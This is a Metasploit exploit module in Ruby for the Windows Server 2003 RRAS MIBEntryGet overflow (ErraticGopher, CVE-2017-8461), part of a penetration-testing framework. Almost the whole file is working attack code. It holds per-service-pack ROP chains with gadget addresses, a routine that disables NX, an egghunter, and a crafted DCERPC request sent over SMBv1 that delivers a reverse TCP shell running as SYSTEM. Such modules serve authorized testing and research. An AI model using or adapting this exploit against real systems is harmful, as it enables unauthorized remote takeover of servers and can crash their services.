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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Egghunter
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
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        'Description' => %q{
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          This module exploits an overflow in the Windows Routing and Remote
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          Access Service (RRAS) to execute code as SYSTEM.
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          The RRAS DCERPC endpoint is accessible to unauthenticated users via
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          SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
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          however, this module targets Windows Server 2003 only.
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          Since the service is hosted inside svchost.exe, a failed exploit
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          attempt can cause other system services to fail as well.
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          The module has been successfully tested on:
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          Windows Server 2003 SP0 (x86);
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          Windows Server 2003 SP1 (x86);
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          Windows Server 2003 SP2 (x86); and
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          Windows Server 2003 R2 SP2 (x86).
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        },
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        'Author' => [
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          'Equation Group', # ERRATICGOPHER
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          'Shadow Brokers', # Equation Group dump
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          'Víctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
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          'bcoles', # Metasploit
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2017-8461'],
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          ['CWE', '119'],
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          ['BID', '99012'],
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          ['EDB', '41929'],
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          ['PACKETSTORM', '147593'],
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          ['URL', 'https://www.securitytracker.com/id/1038701'],
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          ['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
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          ['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
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          ['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
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          ['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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          'PAYLOAD' => 'windows/shell/reverse_tcp'
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        },
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1065,
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          'BadChars' => "\x00",
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          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
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        },
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Targets' => [
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          [ 'Automatic', { 'auto' => true } ],
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          [
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            'Windows Server 2003 SP0 (English)',
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            {
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              'os' => 'Windows 2003',
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              'sp' => '',
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              'lang' => 'English'
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            }
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          ],
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          [
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            'Windows Server 2003 SP1 (English) (NX)',
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            {
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              'os' => 'Windows 2003',
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              'sp' => 'Service Pack 1',
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              'lang' => 'English'
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            }
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          ],
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          [
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            'Windows Server 2003 SP2 (English) (NX)',
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            {
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              'os' => 'Windows 2003',
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              'sp' => 'Service Pack 2',
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              'lang' => 'English'
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            }
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          ],
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          [
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            'Windows Server 2003 R2 SP2 (English) (NX)',
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            {
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              'os' => 'Windows 2003 R2',
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              'sp' => 'Service Pack 2',
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              'lang' => 'English'
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            }
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          ],
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        ],
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        'Notes' => {
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          'AKA' => [ 'ErraticGopher' ],
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          'Stability' => [ CRASH_SERVICE_DOWN ],
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          'SideEffects' => [ IOC_IN_LOGS ],
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          'Reliability' => [ UNRELIABLE_SESSION ]
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        },
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2017-06-13'
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      )
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    )
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    register_options([
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      OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
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    ])
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    deregister_options('SMB::ProtocolVersion')
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  end
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  def payload_win2k3sp0
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    rop = [0x0ffef4c9].pack('V')
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    # rsaenh.dll:
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    # 0FFEF4C9   54               PUSH ESP
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    # 0FFEF4CA   24 04            AND AL,4
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    # 0FFEF4CC   8B4C24 0C        MOV ECX,DWORD PTR SS:[ESP+C]
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    # 0FFEF4D0   8B4424 08        MOV EAX,DWORD PTR SS:[ESP+8]
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    # 0FFEF4D4   3BD1             CMP EDX,ECX
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    # 0FFEF4D6   73 05            JNB SHORT rsaenh.0FFEF4DD
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    # 0FFEF4D8   F7F1             DIV ECX
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    # 0FFEF4DA   C2 0C00          RETN 0C
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    rop += make_nops(1152 - payload.encoded.length)
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    rop += payload.encoded
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    rop
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  end
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  def payload_win2k3sp1
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    egg_options = {
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      eggtag: rand_text_alpha(4)
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    }
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    hunter, egg = generate_egghunter(
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      payload.encoded,
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      payload_badchars,
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      egg_options
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    )
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    # NX disable routine for Windows Server 2003 SP1
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    rop = [0x71c0bf7c].pack('V')   # push esp ; pop esi ; retn @ws2_32.dll
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    rop += "\x90" * 16             # padding
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    rop += [0x77c1a864].pack('V')  # push esp ; pop ebp ; retn 4 @gdi32.dll
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    rop += [0x7c803ec2].pack('V')  # ret 20 @ntdll.dll
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    rop += [0x773b24da].pack('V')  # jmp esp @user32.dll
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    rop += [0x77bde7f6].pack('V')  # add esp,2c ; retn @msvcrt.dll
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    rop += "\x90" * 2              # padding
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    rop += hunter                  # egg hunter
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    rop += "\x90" * 42             # padding
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    rop += [0x7c83e413].pack('V')  # disable NX routine @ntdll.dll
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    rop += "\x90" * 104            # padding
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    rop += egg                     # egg + payload
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    rop
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  end
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  def payload_win2k3sp2
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    egg_options = {
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      eggtag: rand_text_alpha(4)
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    }
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    hunter, egg = generate_egghunter(
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      payload.encoded,
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      payload_badchars,
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      egg_options
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    )
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    # NX disable routine for Windows Server 2003 [R2] SP2
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    rop = [0x71c0db30].pack('V')   # push esp ; pop esi ; retn @ws2_32.dll
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    rop += "\x90" * 16             # padding
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    rop += [0x77c177e9].pack('V')  # push esp ; pop ebp ; retn 4 @gdi32.dll
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    rop += [0x7c817a5d].pack('V')  # ret 20 @ntdll.dll
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    rop += [0x77384271].pack('V')  # jmp esp @user32.dll
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    rop += [0x77bde7f6].pack('V')  # add esp,2c ; retn @msvcrt.dll
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    rop += "\x90" * 2              # padding
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    rop += hunter                  # egg hunter
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    rop += "\x90" * 42             # padding
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    rop += [0x7c83f517].pack('V')  # disable NX routine @ntdll.dll
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    rop += "\x90" * 104            # padding
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    rop += egg                     # egg + payload
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    rop
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  end
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  def check
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    begin
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      connect(versions: [1])
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      smb_login
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    rescue Rex::Proto::SMB::Exceptions::LoginError => e
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      if e.message.include?('Connection reset')
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        return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
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      end
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      return CheckCode::Safe("SMB error: #{e.message}")
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    end
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    handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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    begin
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      dcerpc_bind(handle)
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    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
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      return CheckCode::Safe("SMB error: #{e.message}")
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    end
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    CheckCode::Detected('RRAS enabled and accessible.')
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  end
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  def exploit
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    begin
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      connect(versions: [1])
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      smb_login
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    rescue Rex::Proto::SMB::Exceptions::LoginError => e
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      if e.message.include?('Connection reset')
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        fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
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      end
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      raise e
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    end
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    handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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    print_status("Binding to #{handle} ...")
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    begin
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      dcerpc_bind(handle)
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    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
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      fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
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    end
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    print_status("Bound to #{handle} ...")
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    my_target = target
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    if target.name == 'Automatic'
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      print_status('Selecting a target ...')
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      fingerprint = smb_fingerprint
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      os = fingerprint['os']
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      sp = fingerprint['sp']
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      lang = fingerprint['lang']
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      print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")
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      if lang == 'Unknown'
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        lang = 'English'
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        print_status("Could not detect the language pack, defaulting to #{lang}")
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      end
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      my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
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      unless my_target
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        fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
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      end
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    end
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    print_status("Using target: #{my_target.name}")
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    case my_target.name
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    when 'Windows Server 2003 SP0 (English)'
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      buf = payload_win2k3sp0
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    when 'Windows Server 2003 SP1 (English) (NX)'
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      buf = payload_win2k3sp1
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    when 'Windows Server 2003 SP2 (English) (NX)'
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      buf = payload_win2k3sp2
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    when 'Windows Server 2003 R2 SP2 (English) (NX)'
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      buf = payload_win2k3sp2 # same as SP2
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    else
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      fail_with(Failure::NoTarget, 'Invalid target')
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    end
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    mib = NDR.long(8)                    # dwVarID (MIB_OPAQUE_QUERY)                  # IP_FORWARDROW
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    mib += "\x90" * 4                    # rgdwVarIndex[0] dwForwardDest               # junk IPv4 address
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    mib += NDR.long(0)                   # rgdwVarIndex[1] dwForwardMask               # junk IPv4 net mask
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    mib += NDR.long(0)                   # rgdwVarIndex[2] dwForwardPolicy             # 0 (default forward policy)
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    mib += "\x90" * 4                    # rgdwVarIndex[3] dwForwardNextHop            # junk IPv4 address
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    mib += "\x90" * 4                    # rgdwVarIndex[4] dwForwardIfIndex            # junk network interface index for next hop
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    mib += buf                           # rgdwVarIndex[5] dwForwardType               # payload
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    mib += "\x90" * (1840 - mib.length)  # MIB length padding                          # junk
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    stub = NDR.long(0x21)                # dwPid (RMIBEntryGet)                        # PID_IP (IPv4)
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    stub += NDR.long(0x2710)             # dwRoutingPid (RMIBEntryGet)                 # IPRTRMGR_PID (IP router manager)
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    stub += NDR.long(mib.length)         # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER)  # MIB in size
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    stub += "\x90" * 4                   # pMibInEntry (DIM_MIB_ENTRY_CONTAINER)       # MIB_OPAQUE_QUERY pointer (ignored)
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    stub += NDR.long(4)                  # dwVarId (MIB_OPAQUE_QUERY)                  # IP_ADDRTABLE
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    stub += "\x90" * 4                   # rgdwVarIndex (MIB_OPAQUE_QUERY)             # unused (ignored)
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    stub += NDR.long(mib.length)         # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
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    stub += mib                          # our friendly MIB entry data with payload
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    stub += NDR.long(4)                  # dwId (MIB_OPAQUE_INFO)                      # IP_ADDRTABLE (same as dwVarId)
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    stub += NDR.long(0)                  # ullAlign (MIB_OPAQUE_INFO)                  # zero aligning bytes
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    print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")
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    begin
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      dcerpc.call(0x1d, stub, false)
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    rescue StandardError => e
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      raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
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    end
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    handler
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    disconnect
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  end
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end
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